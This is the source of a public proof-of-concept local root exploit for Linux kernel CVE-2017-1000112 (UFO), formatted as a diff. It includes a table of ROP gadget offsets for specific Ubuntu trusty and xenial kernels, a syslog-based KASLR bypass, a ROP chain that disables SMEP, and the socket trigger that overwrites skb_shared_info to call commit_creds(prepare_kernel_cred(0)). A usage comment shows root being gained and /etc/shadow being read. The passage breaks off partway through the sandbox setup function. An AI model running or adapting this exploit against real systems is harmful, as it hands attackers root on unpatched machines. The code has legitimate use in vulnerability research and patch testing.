This is a proof-of-concept local root exploit for the vulnerability in the UFO Linux kernel implementation CVE-2017-1000112.
|
||||
|
||||
Some details: http://www.openwall.com/lists/oss-security/2017/08/13/1
|
||||
|
|
@ -0,0 +1,668 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking distro and kernel versions
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, versions looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
perror("[-] mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
void mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
char* syslog;
|
||||
int size;
|
||||
mmap_syslog(&syslog, &size);
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
perror("[-] connect()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
perror("[-] send()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
perror("[-] setsockopt(SO_NO_CHECK)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/etc/lsb-release)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
assert(i < max_length);
|
||||
assert((found - &buffer[0]) + needle_length + i < length);
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
perror("[-] uname())");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(&version[0], kernels[i].version) == 0) {
|
||||
printf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/proc/cpuinfo)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
printf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
